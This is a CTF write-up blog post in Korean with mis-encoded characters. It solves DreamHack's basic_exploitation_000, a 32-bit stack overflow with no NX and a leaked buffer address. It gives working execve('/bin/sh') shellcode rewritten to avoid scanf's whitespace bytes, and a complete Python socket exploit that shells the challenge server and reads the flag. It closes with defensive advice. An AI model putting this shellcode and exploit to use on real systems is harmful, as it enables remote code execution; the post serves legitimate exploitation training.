๋ฌธ์ : DreamHack โ basic_exploitation_000 ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{465dd453b2a25a26a847a93d3695676d}
์ด๋ฆ ๊ทธ๋๋ก "๊ธฐ๋ณธ ์ต์คํ๋ก์" ๋ฌธ์ ๋ค. buf ์ฃผ์๋ฅผ ์น์ ํ๊ฒ ์ถ๋ ฅํด ์ฃผ๊ณ , scanf ๋ก ์คํ์ ๋์น๊ฒ ํ๋ค. NX๋ ๊บผ์ ธ ์์ด์ ์คํ์ ์ฌ๋ฆฐ ์
ธ์ฝ๋๊ฐ ๊ทธ๋๋ก ์คํ๋๋ค โ ๊ต๊ณผ์์ ์ธ ์คํ ์
ธ์ฝ๋ ๋ฌธ์ ๋ค.
๊ทธ๋ฐ๋ฐ ๊ต๊ณผ์ ์
ธ์ฝ๋๋ฅผ ๊ทธ๋๋ก ๋ถ์ฌ ๋ฃ์ผ๋ฉด ๋์ํ์ง ์๋๋ค. ์
ธ์ด ์ ๋จ๊ณ ํ๋ก์ธ์ค๊ฐ ์ฃฝ๋๋ค. ์ด ๊ธ์ ์ ๋ฐ์ "์ ์ ๋์ง?"๋ฅผ ํ๋ ๊ณผ์ ์ด๊ณ , ๋ฒ์ธ์ scanf ์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | basic_exploitation_000 |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต | 32-bit ELF ๋ฐ์ด๋๋ฆฌ + ์์ค + ์๊ฒฉ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | buf ์ฃผ์ ๋์ถ + scanf ์ค๋ฒํ๋ก์ฐ โ ์คํ ์
ธ์ฝ๋ (๋จ, scanf ๋ฐฐ๋์บ๋ฆญํฐ ์ฐํ ํ์) |
ํ์ด ํ๋ฆ์ ์งง๋ค. โ ์์ค์ ๋ณดํธ๊ธฐ๋ฒ์ ๋ณธ๋ค โ โก buf๊ฐ ์คํ ์ด๋์ ์๊ณ ret๊น์ง ๊ฑฐ๋ฆฌ๊ฐ ์ผ๋ง์ธ์ง ๋์ค์ด์
๋ธ๋ก ์ก๋๋ค โ โข ๋์ถ๋ buf ์ฃผ์๋ก ret๋ฅผ ๋ฎ์ด ์คํ ์
ธ์ฝ๋๋ก ์ ํํ๋ค. ์ฌ๊ธฐ๊น์ง๋ ์ ์์ธ๋ฐ, โข์์ ์
ธ์ฝ๋๊ฐ ์ ํฐ์ ธ์ โฃ scanf ๊ฐ ์
ธ์ฝ๋๋ฅผ ์๋ผ๋จน๋ ๊ฑธ ๋ฐ๊ฒฌํ๊ณ ์ฐํํ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์ ์คํ ์ ธ์ฝ๋
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ ์ง์ญ ๋ฒํผ์ ๊ทธ ํฌ๊ธฐ๋ณด๋ค ๋ง์ด ์จ์ ์ธ์ ํ ์คํ ์์ญ(์ ์ฅ๋ ๋ ์ง์คํฐ, ๋ฐํ ์ฃผ์)์ ๋ฎ๋ ๊ณ ์ ๊ธฐ๋ฒ์ด๋ค.

์ถ์ฒ: Wikimedia Commons, WhoAteMyButter, CC0
32๋นํธ ํจ์์ ์คํ ํ๋ ์์ ์์์๋ถํฐ ์ง์ญ ๋ณ์(buf) โ ์ ์ฅ๋ ebp โ ๋ฐํ ์ฃผ์ ์์ผ๋ก ์์ธ๋ค. ํจ์๊ฐ ๋๋ ๋ ret ๊ฐ ๋ฐํ ์ฃผ์๋ฅผ ๊บผ๋ด ๊ทธ๋ฆฌ๋ก ์ ํํ๋ฏ๋ก, ๋ฐํ ์ฃผ์๋ฅผ ๋ด๊ฐ ์ํ๋ ๊ฐ์ผ๋ก ๋ฎ์ผ๋ฉด ์คํ ํ๋ฆ์ ๊ฐ์ ธ์จ๋ค.
์ฌ๊ธฐ์ ๋ ๊ฐ์ง ์กฐ๊ฑด์ด ๋ํด์ง๋ฉด ๊ฐ์ฅ ๋จ์ํ ํํ์ ์ต์ค๊ฐ ๋๋ค. ์ฒซ์งธ, NX(์คํ ์คํ ๋ฐฉ์ง)๊ฐ ๊บผ์ ธ ์์ผ๋ฉด ์คํ์ ์ฌ๋ฆฐ ๊ธฐ๊ณ์ด(์ ธ์ฝ๋)๋ฅผ ๊ทธ๋๋ก ์คํํ ์ ์๋ค. ๋์งธ, ์ ธ์ฝ๋๊ฐ ์ด๋ ์๋์ง ์ฃผ์๋ฅผ ์๋ฉด ๋ฐํ ์ฃผ์๋ฅผ ๊ทธ ์ฃผ์๋ก ๋ฎ์ด ์ ํํ๋ฉด ๋๋ค. ์ด ๋ฌธ์ ๋ ์น์ ํ๊ฒ๋ ๊ทธ ์ฃผ์๋ฅผ ์ง์ ์ถ๋ ฅํด ์ค๋ค.
๐ฌ ์ ์ฐฐ โ ์์ค์ ๋ณดํธ๊ธฐ๋ฒ
์์ค๋ถํฐ ๋ณธ๋ค. main ์ ์งง๋ค.
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf); // (1) buf ์ ์คํ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ์๋ ค์ค๋ค
scanf("%141s", buf); // (2) buf[0x80]=128 ์ธ๋ฐ 141๋ฐ์ดํธ๊น์ง ์ฝ๋๋ค โ ์ค๋ฒํ๋ก์ฐ
return 0;
}๋ ์ค์ด ์ ๋ถ๋ค. printf ๊ฐ buf์ ์ฃผ์๋ฅผ ๋์ถํ๊ณ , scanf("%141s") ๊ฐ 128๋ฐ์ดํธ ๋ฒํผ์ 141๋ฐ์ดํธ๋ฅผ ์ฝ์ด 13๋ฐ์ดํธ ๋์น๋ค. ์ด ์ ๋๋ฉด ์ ์ฅ๋ ebp(4)์ ๋ฐํ ์ฃผ์(4)๋ฅผ ๋ฎ๊ธฐ์ ์ถฉ๋ถํ๋ค.
๋ณดํธ๊ธฐ๋ฒ์ ํ์ธํ๋ค.
file basic_exploitation_000
readelf -l basic_exploitation_000 | grep GNU_STACK # RWE ๋ฉด NX off
readelf -h basic_exploitation_000 | grep Type # EXEC = No PIE
readelf -s basic_exploitation_000 | grep __stack_chk # ์์ผ๋ฉด No Canary
์ธ ๊ฐ์ง๊ฐ ์ ๋ถ ์ฐ๋ฆฌ ํธ์ด๋ค. NX ๊บผ์ง์ด๋ผ ์คํ ์ ธ์ฝ๋๊ฐ ์คํ๋๊ณ , No PIE๋ผ ์ฃผ์๊ฐ ๊ณ ์ ์ด๋ฉฐ, No Canary๋ผ ์ค๋ฒํ๋ก์ฐ๊ฐ ์นด๋๋ฆฌ์ ๊ฑธ๋ฆฌ์ง ์๊ณ ๊ณง์ฅ ๋ฐํ ์ฃผ์๊น์ง ๋ฟ๋๋ค. ๋์ถ๊น์ง ํด ์ฃผ๋, ์ฌ์ค์ "์ฌ๊ธฐ๋ก ์ ํํ๋ฉด ๋ฉ๋๋ค"๋ฅผ ๋ ๋จน์ฌ ์ฃผ๋ ์ ์ด๋ค.
์ด์ buf๊ฐ ์คํ ์ด๋์ ์๋์ง, ๋ฐํ ์ฃผ์๊น์ง ๊ฑฐ๋ฆฌ๊ฐ ์ผ๋ง์ธ์ง ๋์ค์ด์ ๋ธ๋ก ์ ํํ ์ก๋๋ค.
objdump -d -M intel basic_exploitation_000 | sed -n '/<main>:/,/ret/p'![ํด๋ฆญํ์ฌ ํ๋ main ๋์ค์ด์
๋ธ โ buf ๋ ebp-0x80, scanf ๊ฐ [ebp-0x80] ์ ์ฝ๋๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-basic-exploitation-000-writeup%2F02_disasm.png&w=3840&q=75)
lea eax,[ebp-0x80] ๊ฐ ๋ ๋ฒ ๋์จ๋ค โ printf์ scanf ๋ชจ๋ buf๋ฅผ ebp-0x80 ์ผ๋ก ์ก๋๋ค. ๊ทธ๋ฌ๋ฉด ์คํ ๋ฐฐ์น๋ ์ด๋ ๋ค.
- buf:
ebp-0x80(128๋ฐ์ดํธ) - ์ ์ฅ๋ ebp:
ebp+0(4๋ฐ์ดํธ) - ๋ฐํ ์ฃผ์:
ebp+4(4๋ฐ์ดํธ)
buf์์ ๋ฐํ ์ฃผ์๊น์ง ๊ฑฐ๋ฆฌ = 0x80 + 4 = 0x84 = 132๋ฐ์ดํธ. scanf("%141s") ๋ 141๋ฐ์ดํธ๊น์ง ์ฝ์ผ๋ 132๋ฐ์ดํธ๋ฅผ ์ฑ์ด ๋ค 4๋ฐ์ดํธ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๊ณ ๋ ๋จ๋๋ค.
๐ฃ ์ทจ์ฝ์ โ ๋์ถ + ์ค๋ฒํ๋ก์ฐ + ์ ํ
๊ณํ์ ๋จ์ํ๋ค. buf ์์ ์
ธ์ฝ๋๋ฅผ ๊น๊ณ , 132๋ฐ์ดํธ๋ฅผ ์ฑ์ด ๋ค์ ๋ฐํ ์ฃผ์๋ฅผ ๋์ถ๋ buf ์ฃผ์๋ก ๋ฎ๋๋ค. ret ๊ฐ buf๋ก ์ ํํ๋ฉด ๊ฑฐ๊ธฐ ๊น๋ฆฐ ์
ธ์ฝ๋๊ฐ ์คํ๋๋ค.
ํ์ด๋ก๋ ๊ตฌ์ฑ:
[ shellcode ][ NOP ํจ๋ฉ ........... ][ ๋์ถ๋ buf ์ฃผ์ ]
buf[0] 132๋ฐ์ดํธ ์ฑ์ธ ๋๊น์ง ret (buf+0x84)ret ๋ชฉ์ ์ง๋ฅผ buf์ ์์(์
ธ์ฝ๋ ์ฒซ ๋ฐ์ดํธ)์ผ๋ก ์ก์ผ๋ฉด ๋์ด๋ค. ASLR ๋๋ฌธ์ buf ์ฃผ์๋ ์ฐ๊ฒฐํ ๋๋ง๋ค ๋ฐ๋์ง๋ง, ๋งค๋ฒ ์ถ๋ ฅํด ์ฃผ๋ ๋ฐ์์ ๊ทธ๋๋ก ์ฐ๋ฉด ๋๋ค.
์ฌ๊ธฐ๊น์ง ์ง์ ๋ณด๋ด๋ฉด โ ์ ๋๋ค. ์ ธ์ด ์ ๋จ๊ณ ์ฐ๊ฒฐ์ด ๋๊ธด๋ค. ์ ธ์ฝ๋๊ฐ ์คํ๋๋ค ์ฃฝ๋ ๊ฒ ๊ฐ์๋ฐ, ํ์ด๋ก๋๋ ์คํ์ ๋ ๋ง๋ค. ๋ฒ์ธ์ ์ฐพ์์ผ ํ๋ค.
๐ ์ฝ์ง โ scanf ๊ฐ ์ ธ์ฝ๋๋ฅผ ์๋ผ๋จน๋๋ค
๋ฐํ ์ฃผ์ ์ ์ด๊ฐ ๋๋์ง๋ถํฐ ํ์ธํ๋ค. ret์ BBBB(0x42424242)๋ฅผ ๋ฃ์ด ๋ณด๋ gdb์์ EIP๊ฐ ์ ํํ 0x42424242 ๊ฐ ๋๋ค. ์คํ์
132๋ ๋ง๊ณ , ํ๋ฆ ํ์ทจ๋ ๋๋ค. ๊ทธ๋ฌ๋ฉด ๋ฌธ์ ๋ ์
ธ์ฝ๋ ์ชฝ์ด๋ค.
NX๊ฐ ์ ๋ง ๊บผ์ ธ ์๋์ง(์คํ์ด ์คํ ๊ฐ๋ฅํ์ง)๋ ๋ค์ ํ์ธํ๋ค. GNU_STACK ํ๋๊ทธ๊ฐ RWE โ ์คํ ๊ฐ๋ฅ ๋ง๋ค. ๊ทธ๋ฐ๋ฐ๋ ์
ธ์ฝ๋๊ฐ ์ ํฐ์ง๋ค.
gdb๋ก buf์ ์ค์ ๋ก ์จ์ง ์ ธ์ฝ๋๋ฅผ ๋ค์ฌ๋ค๋ดค๋ค.
โถ๐ ์ฝ์ง โ gdb ๋ก ๋ณธ buf: ์ ธ์ฝ๋๊ฐ ์ค๊ฐ์ ์๋ ค ์๋ค
naive execve ์
ธ์ฝ๋๋ฅผ ํ์ด๋ก๋๋ก ๋ฃ๊ณ , scanf ๊ฐ ๋๋ ์งํ(leave ์ ) buf๋ฅผ ๋์ค์ด์
๋ธํด ๋ดค๋ค.

์
ธ์ฝ๋ ์๋ถ๋ถ(xor eax,eax ~ xor edx,edx)์ ๋ฉ์ฉกํ๋ฐ, mov al, 0xb(execve ์์คํ
์ฝ ๋ฒํธ ์ธํ
) ์๋ฆฌ๊ฐ mov al, 0x0 ์ผ๋ก, ๊ทธ ๋ค int 0x80 ์ add %al,(%eax)(= 0x00 0x00) ์ผ๋ก ๊นจ์ ธ ์๋ค. 0x0b ๋ถํฐ ๋ค๊ฐ ํต์งธ๋ก 0์ด๋ค. scanf๊ฐ ๊ฑฐ๊ธฐ์ ์ฝ๊ธฐ๋ฅผ ๋ฉ์ท๋ค๋ ๋ป์ด๋ค.
mov al, 0xb ์ 0x0b ๋ฐ์ดํธ๊ฐ ๋ฒ์ธ์ด์๋ค. scanf("%s") ๋ ๊ณต๋ฐฑ ๋ฌธ์์์ ์ฝ๊ธฐ๋ฅผ ๋ฉ์ถ๋๋ฐ, ๊ณต๋ฐฑ์ผ๋ก ์น๋ ๋ฐ์ดํธ๊ฐ ์คํ์ด์ค(0x20)๋ง์ด ์๋๋ค. isspace() ๊ธฐ์ค์ผ๋ก 0x09(\t), 0x0a(\n), 0x0b(\v), 0x0c(\f), 0x0d(\r) ๋ ์ ๋ถ ๊ณต๋ฐฑ์ด๋ค.
ํํ execve์ ์์คํ
์ฝ ๋ฒํธ 11 = 0x0b ๊ฐ ์ธ๋ก ํญ(\v)์ด๋ผ scanf๊ฐ ๊ฑฐ๊ธฐ์ ์๋ผ ๋ฒ๋ฆฐ๋ค. ๊ทธ๋์ ์
ธ์ฝ๋๊ฐ mov al, ๊น์ง๋ง ๋ค์ด๊ฐ๊ณ ๋ค๊ฐ ๋ ์๊ฐ ๊ฒ์ด๋ค.
# demo_badchar.py โ naive ์
ธ์ฝ๋์ 0x0b ๊ฐ scanf ์ ๊ณต๋ฐฑ ์ ์ง ๋ฐ์ดํธ์ ๊ฒน์น๋ค
naive = bytes.fromhex("31c050682f2f7368682f62696e89e3505389e131d2b00bcd80")
WS = {0x09,0x0a,0x0b,0x0c,0x0d,0x20} # scanf("%s") ๊ฐ ๋ฉ์ถ๋ ๋ฐ์ดํธ
print([hex(b) for b in naive if b in WS]) # -> ['0xb'] (mov al,0x0b ์ 0x0b)
ํด๋ฒ์ ๊ฐ๋จํ๋ค. ์
ธ์ฝ๋ ๋ฐ์ดํธ์ 0x0b(๊ณผ ๋ค๋ฅธ ๊ณต๋ฐฑ ๋ฐ์ดํธ)๊ฐ ๋์ค์ง ์๊ฒ ๋ง๋ค๋ฉด ๋๋ค. 11์ด๋ผ๋ ๊ฐ์ 0x0b ๋ฐ์ดํธ๋ฅผ ์ง์ ์ฐ์ง ์๊ณ ๋ง๋ค์ด ๋ด๋ฉด ๋๋ค.
mov al, 0x16 ; b0 16 (0x16 ์ ๊ณต๋ฐฑ ์๋)
shr al, 1 ; d0 e8 -> 0x16 >> 1 = 0x0b0x16 >> 1 = 0x0b. ๋ฐ์ดํธ๋ b0 16 d0 e8 ๋ก, ์ด๋์๋ ๊ณต๋ฐฑ ๋ฐ์ดํธ๊ฐ ์๋ค. ์
ธ์ฝ๋ ๋๋จธ์ง ๋ฐ์ดํธ(/bin//sh ๋ฌธ์์ด, ํธ์, int 0x80 ๋ฑ)๋ ๊ณต๋ฐฑ ๋ฐ์ดํธ๊ฐ ์๋์ง ํ์ธํ๋ฉด ๋์ด๋ค.
๐ฏ ์ต์คํ๋ก์
scanf-์์ ์ ธ์ฝ๋๋ก ๋ฐ๊พธ๊ณ , ๋์ถ๋ buf ์ฃผ์๋ก ret๋ฅผ ๋ฎ๋๋ค. ํ ๊ฐ์ง ๋ โ ๋์ถ๋ buf ์ฃผ์ ์์ฒด์ ๊ณต๋ฐฑ ๋ฐ์ดํธ๊ฐ ๋ค์ด ์์ผ๋ฉด ๊ทธ ์ฃผ์๋ฅผ ์ฐ๋ ret ๋ถ๋ถ๋ scanf์ ์๋ฆฐ๋ค. ASLR์ด๋ผ ์ฃผ์๊ฐ ๋งค๋ฒ ๋ฐ๋๋, ์ฃผ์์ ๊ณต๋ฐฑ ๋ฐ์ดํธ๊ฐ ๋ผ๋ฉด ๊ทธ๋ฅ ์๋ก ์ฐ๊ฒฐํด ๋ค๋ฅธ ์ฃผ์๋ฅผ ๋ฐ์ผ๋ฉด ๋๋ค.
์ ์ฒด ํ๋ฆ:
- ์ฐ๊ฒฐ โ
buf = (0x...)ํ์ฑ - ์ฃผ์ 4๋ฐ์ดํธ์ ๊ณต๋ฐฑ ๋ฐ์ดํธ๊ฐ ์์ผ๋ฉด ์ฌ์ฐ๊ฒฐ
scanf-safe ์ ธ์ฝ๋ + NOP(132๊น์ง) + buf ์ฃผ์์ ์กret๊ฐ buf๋ก ์ ํ โ ์คํ ์ ธ์ฝ๋ ์คํ โ/bin/sh- ์
ธ์
cat /home/basic_exploitation_000/flag๋ฅผ ํ๋ ค๋ณด๋ด flag ํ์
๐ Full Exploit
#!/usr/bin/env python3
# basic_exploitation_000 โ ์คํ ์
ธ์ฝ๋ (pwntools ์์ด raw ์์ผ)
import socket, struct, re, sys, time
HOST, PORT = "host3.dreamhack.games", 14187
if len(sys.argv) >= 3:
HOST, PORT = sys.argv[1], int(sys.argv[2])
# scanf("%s")-safe execve("/bin/sh"): 0x0b ๋ฅผ ์ง์ ์ฐ์ง ์๊ณ mov al,0x16; shr al,1 ๋ก 11 ์์ฑ
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x16\xd0\xe8\xcd\x80")
WS = set(b"\x09\x0a\x0b\x0c\x0d\x20") # scanf ์ ์ง ๋ฐ์ดํธ
assert not (set(shellcode) & WS)
RET_OFF = 0x84 # buf -> ๋ฐํ ์ฃผ์ = 0x80 + 4 = 132
def recv_until(s, marker, t=5.0):
s.settimeout(t); buf = b""
while marker not in buf:
d = s.recv(4096)
if not d: break
buf += d
return buf
def attempt():
s = socket.socket(); s.settimeout(5); s.connect((HOST, PORT))
banner = recv_until(s, b")")
buf_addr = int(re.search(rb"buf = \((0x[0-9a-f]+)\)", banner).group(1), 16)
addr_bytes = struct.pack("<I", buf_addr)
if set(addr_bytes) & WS: # ret ์ฃผ์๊ฐ scanf ์ ์๋ฆด ์ํ -> ์ฌ์๋
s.close(); return None
payload = shellcode + b"\x90" * (RET_OFF - len(shellcode)) + addr_bytes
print(f"[*] leaked buf = {hex(buf_addr)}, payload {len(payload)} bytes, ret -> shellcode")
s.sendall(payload + b"\n"); time.sleep(0.5)
s.sendall(b"cat /home/basic_exploitation_000/flag /flag 2>/dev/null\n"); time.sleep(0.6)
out = b""; s.settimeout(3.0)
try:
while True:
d = s.recv(4096)
if not d: break
out += d
except (socket.timeout, ConnectionResetError):
pass
s.close(); return out
for _ in range(12):
out = attempt()
if out is None:
continue
m = re.search(rb"DH\{[^}]*\}", out)
if m:
print(">>> FLAG:", m.group(0).decode()); break์๊ฒฉ์ ๋์ง๋ฉด ๋์ถ ์ฃผ์๋ฅผ ๋ฐ์ ์ ธ์ฝ๋๋ก ์ ํํ๊ณ , ์ ธ์์ flag๋ฅผ ์ฝ์ด ์จ๋ค.

[*] leaked buf = 0xffb55f88, payload 136 bytes, ret -> shellcode
>>> FLAG: DH{465dd453b2a25a26a847a93d3695676d}๐ ๊ฒฐ๋ก
๊ฐ์ฅ ๋จ์ํ ์ต์ค์์ ๊ฐ์ฅ ํํ๊ฒ ๋ฐ์ด๋ ๊ฒ ๋ฐฐ๋์บ๋ฆญํฐ๋ค.
์คํ์
๋ ๋ง๊ณ ํ๋ฆ ํ์ทจ๋ ๋๋๋ฐ ์
ธ์ฝ๋๋ง ์ ํฐ์ง ๋, ์
๋ ฅ ํจ์๊ฐ ์
ธ์ฝ๋๋ฅผ ์ด๋ป๊ฒ ๋ฐ์๋ค์ด๋์ง๋ฅผ ์์ฌํด์ผ ํ๋ค. scanf("%s") ๋ ๊ณต๋ฐฑ์์ ๋ฉ์ถ๊ณ , ๊ทธ ๊ณต๋ฐฑ์ ์คํ์ด์ค๋ง์ด ์๋๋ผ 0x09~0x0d ๊น์ง๋ค. ํํ execve์ ์์คํ
์ฝ ๋ฒํธ 0x0b ๊ฐ ๊ทธ ์์ ์์ด์, ๊ต๊ณผ์ ์
ธ์ฝ๋๊ฐ ์์คํ
์ฝ ์ง์ ์ ์๋ ธ๋ค.
๊ฐ์ ๋ฐ์ดํธ๋ก ์ง์ ์ฐ์ง ์๊ณ ์ฐ์ฐ์ผ๋ก ๋ง๋ค์ด ๋ด๋ ๊ฑด ์
ธ์ฝ๋ ์์ฑ์ ๊ธฐ๋ณธ๊ธฐ๋ค. mov al,0x16; shr al,1 ํ ์ค๋ก ๊ธ์ง ๋ฐ์ดํธ๋ฅผ ํผํ๋ค. ๊ฐ์ ๋ฐ์์ผ๋ก xor, add, sub, shl ๋ฑ์ ์กฐํฉํ๋ฉด ๊ฑฐ์ ๋ชจ๋ ๋ฐฐ๋์บ๋ฆญํฐ๋ฅผ ์ฐํํ ์ ์๋ค.
๋ฐฉ์ด ๊ด์ ์์ ๋ณด๋ฉด ์ด ๋ฐ์ด๋๋ฆฌ๋ ๋ง์ ์ ์๋ ๊ฑธ ๊ฑฐ์ ๋ค ํ์ด ๋จ๋ค.
-
NX๋ฅผ ์ผ๋ผ. ์คํ์ด ์คํ ๋ถ๊ฐ์๋ค๋ฉด ์ ธ์ฝ๋๋ฅผ ์ฌ๋ ค๋ ๋ชป ๋ด๋ค(๊ทธ๋ฌ๋ฉด ROP๋ก ํ ๋จ๊ณ ๋ ๊ฐ์ผ ํ๋ค).
-
์ฃผ์๋ฅผ ๋์ถํ์ง ๋ง๋ผ.
printf("buf = (%p)")์ฒ๋ผ ์คํ/ํ ์ฃผ์๋ฅผ ์ถ๋ ฅํ๋ฉด ASLR์ด ๋ฌด๋ ฅํ๋๋ค. ๋๋ฒ๊ทธ ์ถ๋ ฅ์ ๋ฐฐํฌ ์ ์ ์ง์ด๋ค. -
์ ๋ ฅ ๊ธธ์ด๋ฅผ ๋ฒํผ ํฌ๊ธฐ์ ๋ง์ถฐ๋ผ.
scanf("%141s", buf)์์ 141์buf[0x80]=128๋ณด๋ค ํฌ๋ค. ๊ฒฝ๊ณ ๊ฒ์ฌ ์๋ ์ ๋ ฅ ํ ์ค์ด ์ ๋ถ๋ฅผ ๋ด์คฌ๋ค.
๊ธฐ๋ณธ ๋ฌธ์ ์ง๋ง "์ ธ์ฝ๋๊ฐ ์ ๋ ฅ ํจ์๋ฅผ ํต๊ณผํ๋๊ฐ"๋ผ๋, ์ค์ ์์ ๊ณ์ ๋ง์ฃผ์น๋ ์ง๋ฌธ์ ์ง๊ฒ ํด ์ค๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ